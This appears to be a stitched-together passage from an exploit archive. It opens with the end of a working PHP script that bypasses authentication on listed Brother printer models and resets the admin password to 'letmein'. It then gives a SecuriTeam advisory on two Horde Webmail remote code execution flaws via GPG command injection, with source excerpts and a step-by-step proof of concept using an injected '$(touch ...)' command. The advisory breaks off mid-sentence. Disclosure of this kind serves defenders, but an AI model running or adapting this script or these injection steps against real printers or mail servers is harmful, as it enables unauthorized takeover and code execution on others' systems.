Confirmed vulnerable:
MFC-J6973CDW
MFC-J4420DW
MFC-8710DW
MFC-J4620DW
MFC-L8850CDW
MFC-J3720
MFC-J6520DW
MFC-L2740DW
MFC-J5910DW
MFC-J6920DW
MFC-L2700DW
MFC-9130CW
MFC-9330CDW
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W
For educational purposes only.
*/
/* ----------------------------- */
$address = "http://192.168.1.111";
//$mode = "silent";
$mode = "changepass";
$newpass = "letmein";
/* ----------------------------- */
$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);
function getPwdValue($address) {
global $user_agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
$dom = new DOMDocument();
$dom->loadHTML($content);
$inputs = $dom->getElementsByTagName('input');
foreach($inputs as $i) {
if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
return $i->getAttribute('name');
}
}
}
function getLogValue($address) {
global $user_agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
$dom = new DOMDocument();
$dom->loadHTML($content);
if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) {
print 'Seems like password is not set! Exiting.'; exit; }
$value = $dom->getElementById('LogBox')->getAttribute('name');
return $value;
}
function getCookie($host) {
global $address, $user_agent;
$log_var = getLogValue($address);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
$log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
if($content == true) {
$cookies = array();
preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);
if(!empty($cookies['cookie'])) {
$exploded = explode(';', $cookies['cookie'][0]);
} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
return trim($exploded[0]);
}
if($mode === "silent") {
print 'Here\'s your authorization cookie: '.getCookie($address);
} elseif ($mode === "changepass") {
global $address, $newpass;
$cookie = getCookie($address);
$pwd_var = getPwdValue($address);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
if($content == true) {
print 'Password changed to: '.$newpass;
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
}
?>
Source: https://blogs.securiteam.com/index.php/archives/3107
Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in
Horde Groupware Webmail.
Horde Groupware Webmail Edition is a free, enterprise ready, browser
based communication suite. Users can read, send and organize email
messages and manage and share calendars, contacts, tasks, notes,
files, and bookmarks with the standards compliant components from the
Horde Project. Horde Groupware Webmail Edition bundles the separately
available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo,
Gollem, and Trean.
It can be extended with any of the released Horde applications or the
applications that are still in development, like a bookmark manager or
a file manager.
Affected versions: Horde 5, 4 and 3
The vulnerabilities found in Horde Groupware Webmail are:
Authentication Remote Code Execution
Unauthentication Remote Code Execution
Credit
An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Horde has released a patch to address the vulnerabilities.
For more information:
https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html
Vulnerabilities Details
Authentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.
For successful attack GnuPG feature should be enabled on the target
server (path to gpg binary should be defined in $conf[gnupg][path]
setting).
Vulnerable code: encryptMessage() function of GPG feature.
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 416 */ public function encryptMessage($text, $params)
/* 417 */ {
/* … */
/* 435 */ foreach (array_keys($params['recips']) as $val) {
/* 436 */ $cmdline[] = '--recipient ' . $val;
#! vulnerable code
/* … */
/* 444 */ /* Encrypt the document. */
/* 445 */ $result = $this->_callGpg(
/* 446 */ $cmdline,
/* 447 */ 'w',
/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'],
/* 449 */ true,
/* 450 */ true
/* 451 */ );
$params[‘recips’] will be added to $cmdline array and passed to _callGpg():
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* 682 */ if ($fp = popen($cmdline, 'w')) { #!
vulnerable code
/* … */
We can see that our recipients (addresses) will be in command line
that is going to be executed. encryptMessage() function can be reached
by various API, requests. For example it will be called when user try
to send encrypted message.
Our request for encryption and sending our message will be processed
by buildAndSendMessage() method:
Path: /imp/lib/Compose.php
/* 733 */ public function buildAndSendMessage(
/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()
/* 735 */ )
/* 736 */ {
/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session;
/* 738 */
/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit
/* 740 */ * characters can be in the address fields. */
/* 741 */ $recip = $this->recipientList($header);
/* ... */
/* 793 */ /* Must encrypt & send the message one recipient at a time. */
/* 794 */ if ($prefs->getValue('use_smime') &&
/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT,
IMP_Crypt_Smime::SIGNENC))) {
/* ... */
/* 807 */ } else {
/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt
/* 809 */ * multiple addresses in the same message. */
/* 810 */ $msg_options['from'] = $from;
/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body,
$msg_options); #! vulnerable code
In line 741 it tries to create recipient list: Horde parsers values of
‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In
general there are restrictions for characters in addresses but if we
will use the next format:
display-name <"somemailbox"@somedomain.com>
somemailbox will be parsed by _rfc822ParseQuotedString() method:
Path: /Horde/Mail/Rfc822.php:
/* 557 */ protected function _rfc822ParseQuotedString(&$str)
/* 558 */ {
/* 559 */ if ($this->_curr(true) != '"') {
/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 561 */ }
/* 563 */ while (($chr = $this->_curr(true)) !== false) {
/* 564 */ switch ($chr) {
/* 565 */ case '"':
/* 566 */ $this->_rfc822SkipLwsp();
/* 567 */ return;
/* 569 */ case "\n":
/* 570 */ /* Folding whitespace, remove the (CR)LF. */
/* 571 */ if (substr($str, -1) == "\r") {
/* 572 */ $str = substr($str, 0, -1);
/* 573 */ }
/* 574 */ continue;
/* 576 */ case '\\':
/* 577 */ if (($chr = $this->_curr(true)) === false) {
/* 578 */ break 2;
/* 579 */ }
/* 580 */ break;
/* 581 */ }
/* 583 */ $str .= $chr;
/* 584 */ }
/* 586 */ /* Missing trailing '"', or partial quoted character. */
/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 588 */ }
There are only a few limitations:
we cannot use “
\n will be deleted
we cannot use \ at the end of our mailbox
After creation of recipient list buildAndSendMessage() will call
_createMimeMessage():
Path: /imp/lib/Compose.php
/* 1446 */ protected function _createMimeMessage(
/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array()
/* 1448 */ )
/* 1449 */ {
/* 1450 */ global $conf, $injector, $prefs, $registry;
/* ... */
/* 1691 */ /* Set up the base message now. */
/* 1692 */ $encrypt = empty($options['encrypt'])
/* 1693 */ ? IMP::ENCRYPT_NONE
/* 1694 */ : $options['encrypt'];
/* 1695 */ if ($prefs->getValue('use_pgp') &&
/* 1696 */ !empty($conf['gnupg']['path']) &&
/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT,
IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,
IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {
/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* ... */
/* 1727 */ /* Do the encryption/signing requested. */
/* 1728 */ try {
/* 1729 */ switch ($encrypt) {
/* ... */
/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT:
/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT:
/* 1737 */ $to_list = clone $to;
/* 1738 */ if (count($options['from'])) {
/* 1739 */ $to_list->add($options['from']);
/* 1740 */ }
/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list,
($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?
$symmetric_passphrase : null);
/* 1742 */ break;
Here we can see validation (1695-1696 lines) that:
Current user has enabled “use_pgp” feature in his preferences (it is
not a problem as an attacker can edit his own preferences)
$conf[‘gnupg’][‘path’] is not empty. This value can be edited only by
admin. So if we don’t have value here our server is not vulnerable.
But if admin wants to allow users to use GPG feature he/she needs to
define value for this config.
Also we can see that in lines 1737-1739 to our recipient list will be
added address “from” as well.
Path: /imp/lib/Crypt/Pgp.php
/* 584 */ public function impEncryptMimePart($mime_part,
/* 585 */ Horde_Mail_Rfc822_List $addresses,
/* 586 */ $symmetric = null)
/* 587 */ {
/* 588 */ return $this->encryptMimePart($mime_part,
$this->_encryptParameters($addresses, $symmetric));
/* 589 */ }
Before encryptMimePart() call Horde uses _encryptParameters()
Path: /imp/lib/Crypt/Pgp.php
/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List
$addresses,
/* 537 */ $symmetric)
/* 538 */ {
/* ... */
/* 546 */ $addr_list = array();
/* 548 */ foreach ($addresses as $val) {
/* 549 */ /* Get the public key for the address. */
/* 550 */ $bare_addr = $val->bare_address;
/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr);
/* 552 */ }
/* 554 */ return array('recips' => $addr_list);
/* 555 */ }
Horde will add to each address its Public Key. There a few source of
Public Keys:
AddressBook (we will use this source)
Servers with Public Keys
Note that Horde should be able to find Public Key for our “From”
address as well.
We can generate pair of PGP keys (https is required) or we can use the
same trick with AddressBook (we can create some contact, add any valid
Public PGP key, and add this address to default identity)
encryptMimePart() will call encrypt() method
Path: /Horde/Crypt/Pgp.php
/* 773 */ public function encryptMIMEPart($mime_part, $params = array())
/* 774 */ {
/* 775 */ $params = array_merge($params, array('type' => 'message'));
/* … */
/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params);
It will call encryptMessage()
Path: /Horde/Crypt/Pgp.php
/* 554 */ public function encrypt($text, $params = array())
/* 555 */ {
/* 556 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 557 */ case 'message':
/* 558 */ $error = Horde_Crypt_Translation::t(
/* 559 */ "Could not PGP encrypt message."
/* 560 */ );
/* 561 */ $func = 'encryptMessage';
/* 562 */ break;
/* ... */
/* 586 */ $this->_initDrivers();
/* 587 */
/* 588 */ foreach ($this->_backends as $val) {
/* 589 */ try {
/* 590 */ return $val->$func($text, $params);
/* 591 */ } catch (Horde_Crypt_Exception $e) {}
/* 592 */ }
In conclusions:
If Horde server has enabled “GnuPG feature” any unprivileged user is
able to execute arbitrary code.
Enable GPG feature for attacker account (“Enable PGP functionality?”
checkbox on “PGP Configure PGP encryption support.” section in
Prefferences->Mail page )
Create some contact in the attacker AddressBook, add any valid Public
PGP key, and add this address to default identity
Create another contact in the attacker AddressBook, add any valid
Public PGP key, and change email address to some$(desired command to
execute) contact@somedomain.com
Create a new message to some$(desired command to execute) contact@somedomain.com
Choose Encryption:PGP Encrypt Message option
Click Send button
And desired command will be executed on the Horde server.
Proof of Concept – Authenticated Code Execution
For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:
Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.
We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).
To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”
Step 2 – Configure Horde web-mail authentication ($conf[auth][driver])
to “Let a Horde application handle authentication” and click “Generate
Horde Configuration”:
Step 3 – logout and login with your gmail account. Currently we are
login as regular user so we can try to execute desired commands:
Go to Preferences -> Mail and click on PGP link. Check Enable PGP
functionality? checkbox and click “Save”:
Create “from” contact in our AddressBook: “Address Book -> New Contact
-> in Address Book of …”
Personal tab – Last Name: mymailboxwithPGPkey
Communication tab – Email: mymailboxwihPGP@any.com
Other tab – PGP Public Key: any valid Public PGP key.
For example:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: SKS 1.1.6
Comment: Hostname: keyserver.ubuntu.com
mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01
YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ
5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D
/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82
z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/
POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr
72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch
zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl
Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI
fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC
AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k
YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep
fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW
BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ
HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs
Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/
VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0
P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC
sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw
gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ
WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv
iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27
kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=
=RHjX
-----END PGP PUBLIC KEY BLOCK-----
Click “Add” button:
Go to Preferences -> Global Preferences and click on Personal
Information link. Put mymailboxwihPGP@any.com into field The default
e-mail address to use with this identity and Click “Save”:
Create our “to” contact in our AddressBook: “Address Book -> New
Contact -> in Address Book of …”
Personal tab – Last Name: contact_for_attack
Communication tab – Email: hereinj@any.com
Other tab – PGP Public Key: any valid Public PGP key (it can be the
same as in the previous step)
And click “Add” button:
Inject our command: Click on Edit. Go to Communication Tab, put cursor
in Email field and chose “Inspect Element (Q)” from context menu:
Delete “email” from the type argument and close Inspector:
1
<input name="object[email]" id="object_email_" value="hereinj@any.com"
type="email">
Edit the address as we want – for example hereinj$(touch
/tmp/hereisvuln)@any.com and click “Save”:
Create a new message ( Mail -> New Message) with our contact as recipient:
Choose PGP Encrypt Message in Encryption option:
Enter any subject and any content. Click “Send”
We will get “PGP Error:…”
It is ok – let’s check our server:
We have a new file “hereisvuln” so our command was executed.
Unauthentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.
Vulnerable code: decryptSignature() function of GPG feature.
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 539 */ public function decryptSignature($text, $params)
/* 540 */ {
/* ... */
/* 550 */ /* Options for the GPG binary. */
/* 551 */ $cmdline = array(
/* 552 */ '--armor',
/* 553 */ '--always-trust',
/* 554 */ '--batch',
/* 555 */ '--charset ' . (isset($params['charset']) ?
$params['charset'] : 'UTF-8'),
/* 556 */ $keyring,
/* 557 */ '--verify'
/* 558 */ );
/* ... */
/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true);
/* ... */
$params[‘charset’] will be added to $cmdline array and passed to _callGpg():
/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* … */
/* 704 */ } elseif ($mode == 'r') {
/* 705 */ if ($fp = popen($cmdline, 'r')) {
/* … */
Our $params[‘charset’] will be in command line that is going to be executed.
decryptSignature() is called from decrypt() method:
Path – /Horde/Crypt/Pgp.php:
/* 611 */ public function decrypt($text, $params = array())
/* 612 */ {
/* 613 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 614 */ case 'detached-signature':
/* 615 */ case 'signature':
/* 616 */ /* Check for required parameters. */
/* 617 */ if (!isset($params['pubkey'])) {
/* 618 */ throw new InvalidArgumentException(
/* 619 */ 'A public PGP key is required to verify a signed message.'
/* 620 */ );
/* 621 */ }
/* 622 */ if (($params['type'] === 'detached-signature') &&
/* 623 */ !isset($params['signature'])) {
/* 624 */ throw new InvalidArgumentException(
/* 625 */ 'The detached PGP signature block is required to verify the
signed message.'
/* 626 */ );
/* 627 */ }
/* 628 */
/* 629 */ $func = 'decryptSignature';
/* 630 */ break;
/* ... */
/* 650 */ $this->_initDrivers();
/* 651 */
/* 652 */ foreach ($this->_backends as $val) {
/* 653 */ try {
/* 654 */ return $val->$func($text, $params);
/* 655 */ } catch (Horde_Crypt_Exception $e) {}
/* 656 */ }
/* ... */
decrypt() with needed parameters is used in verifySignature():
Path – /imp/lib/Crypt/Pgp.php
/* 339 */ public function verifySignature($text, $address, $signature = '',
/* 340 */ $charset = null)
/* 341 */ {
/* 342 */ if (!empty($signature)) {
/* 343 */ $packet_info = $this->pgpPacketInformation($signature);
/* 344 */ if (isset($packet_info['keyid'])) {
/* 345 */ $keyid = $packet_info['keyid'];
/* 346 */ }
/* 347 */ }
/* 349 */ if (!isset($keyid)) {
/* 350 */ $keyid = $this->getSignersKeyID($text);
/* 351 */ }
/* 353 */ /* Get key ID of key. */
/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid));
/* 356 */ if (empty($signature)) {
/* 357 */ $options = array('type' => 'signature');
/* 358 */ } else {
/* 359 */ $options = array('type' => 'detached-signature', 'signature'
=> $signature);
/* 360 */ }
/* 361 */ $options['pubkey'] = $public_key;
/* 363 */ if (!empty($charset)) {
/* 364 */ $options['charset'] = $charset;
/* 365 */ }
/* 369 */ return $this->decrypt($text, $options);
/* 370 */ }
verifySignature() is called from _outputPGPSigned():
Path – /imp/lib/Mime/Viewer/Pgp.php
/* 387 */ protected function _outputPGPSigned()
/* 388 */ {
/* 389 */ global $conf, $injector, $prefs, $registry, $session;
/* 390 */
/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap());
/* 392 */ $base_id = reset($partlist);
/* 393 */ $signed_id = next($partlist);
/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next');
/* 395 */
/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) {
/* 397 */ return array(
/* 398 */ $sig_id => null
/* 399 */ );
/* 400 */ }
/* ... */
/* 417 */ if ($prefs->getValue('pgp_verify') ||
/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) {
/* 419 */ $imp_contents = $this->getConfigParam('imp_contents');
/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id);
/* ... */
/* 433 */ try {
/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* 435 */ if ($sig_raw =
$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {
/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw,
$this->_getSender()->bare_address, null, $sig_part-
> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));
/* ... */
And it is used in _renderInline():
Path – /imp/lib/Mime/Viewer/Pgp.php
/* 134 */ protected function _renderInline()
/* 135 */ {
/* 136 */ $id = $this->_mimepart->getMimeId();
/* 138 */ switch ($this->_mimepart->getType()) {
/* ... */
/* 142 */ case 'multipart/signed':
/* 143 */ return $this->_outputPGPSigned();
Let’s go back to _outputPGPSigned() method. We can see a few
requirements before the needed call:
$conf[‘gnupg’][‘path’] should be not empty. This value can be edited
only by admin(if he/she wants to allow users to use GPG feature he/she
needs to define value for this config).
Current user has enabled “use_pgp” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences
Also we see that our charset value is taken from $sig_part ->
getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)
Our value will be stored during parsing of PGP parts:
Path – /Horde/Crypt/Pgp/Parse.php
/* 150 */ public function parseToPart($text, $charset = 'UTF-8')
/* 151 */ {
/* 152 */ $parts = $this->parse($text);
/* ... */
/* 162 */ while (list(,$val) = each($parts)) {
/* 163 */ switch ($val['type']) {
/* ... */
/* 200 */ case self::ARMOR_SIGNED_MESSAGE:
/* 201 */ if ((list(,$sig) = each($parts)) &&
/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) {
/* 203 */ $part = new Horde_Mime_Part();
/* 204 */ $part->setType('multipart/signed');
/* 205 */ // TODO: add micalg parameter
/* 206 */ $part->setContentTypeParameter('protocol',
'application/pgp-signature');
/* 207 */
/* 208 */ $part1 = new Horde_Mime_Part();
/* 209 */ $part1->setType('text/plain');
/* 210 */ $part1->setCharset($charset);
/* 211 */
/* 212 */ $part1_data = implode("\n", $val['data']);
/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data,
"\n\n") + 2));
/* 214 */
/* 215 */ $part2 = new Horde_Mime_Part();
/* 216 */
/* 217 */ $part2->setType('application/pgp-signature');
/* 218 */ $part2->setContents(implode("\n", $sig['data']));
/* 219 */
/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset);
/* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n",
$val['data']) . "\n" . implode("\n", $sig['data']));
/* 222 */
/* 223 */ $part->addPart($part1);
/* 224 */ $part->addPart($part2);
/* 225 */ $new_part->addPart($part);
/* 226 */
/* 227 */ next($parts);
/* 228 */ }
/* 229 */ }
/* 230 */ }
/* 231 */
/* 232 */ return $new_part;
/* 233 */ }
It is called from _parsePGP():
Path – /imp/lib/Mime/Viewer/Plain.php
×
1
2
3
4
5
6
7
8
/* 239 */ protected function _parsePGP()
/* 240 */ {
/* 241 */ $part =
$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart(
/* 242 */ new Horde_Stream_Existing(array(
/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true))
/* 244 */ )),
/* 245 */ $this->_mimepart->getCharset()
/* 246 */ );
Our charset value is taken from CHARSET attribute of Content-Type
header of parent MIMEpart.
_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde
Webmail ver 5.2.0 it looks like:
Path – /imp/lib/Mime/Viewer/Plain.php
/* 222 */ protected function _getEmbeddedMimeParts()
/* 223 */ {
/* 224 */ $ret = $this->getConfigParam('pgp_inline')
/* 225 */ ? $this->_parsePGP()
/* 226 */ : null;
We can see an additional requirement – our function will be called
only if ‘pgp_inline‘ config parameter is “true”. It is defined in:
Path – /imp/config/mime_drivers.php
/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data
/* 38 */ * out of the output (and, if PGP is active, will display the
/* 39 */ * results of the PGP action). */
/* 40 */ 'pgp_inline' => false
Default value is false, so the major part of Horde servers is not
vulnerable and our attack is relevant only if an admin manually has
changed this line to ‘pgp_inline‘ => true.
But in older versions (before 5.2.0) the code of
_getEmbeddedMimeParts() is a bit different:
Path – /imp/lib/Mime/Viewer/Plain.php
/* 227 */ protected function _getEmbeddedMimeParts()
/* 228 */ {
/* 229 */ $ret = null;
/* 230 */
/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) &&
/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) {
/* 233 */ $ret = $this->_parsePGP();
/* 234 */ }
So instead of requirement to have config parameter we have requirement
of ‘pgp_scan_body‘ Preference of current user. And it is more likely
to find a victim with needed preferences. We saw where our injected
command is executed and from where and when it is taken
During rendering of massage we:
Will parse PGP values:
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at
[/Horde/Mime/Viewer/Base.php:298]
#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at
[/imp/lib/Contents.php:1114]
#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186]
#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]
Will use them in:
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#0 IMP_Mime_Viewer_Pgp->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207]
#2 Horde_Mime_Viewer_Base->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654]
#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]]
In conclusions:
If Horde server has vulnerable configuration:
Enabled “GnuPG feature” (there is path to gpg binary in
$conf[gnupg][path] setting)
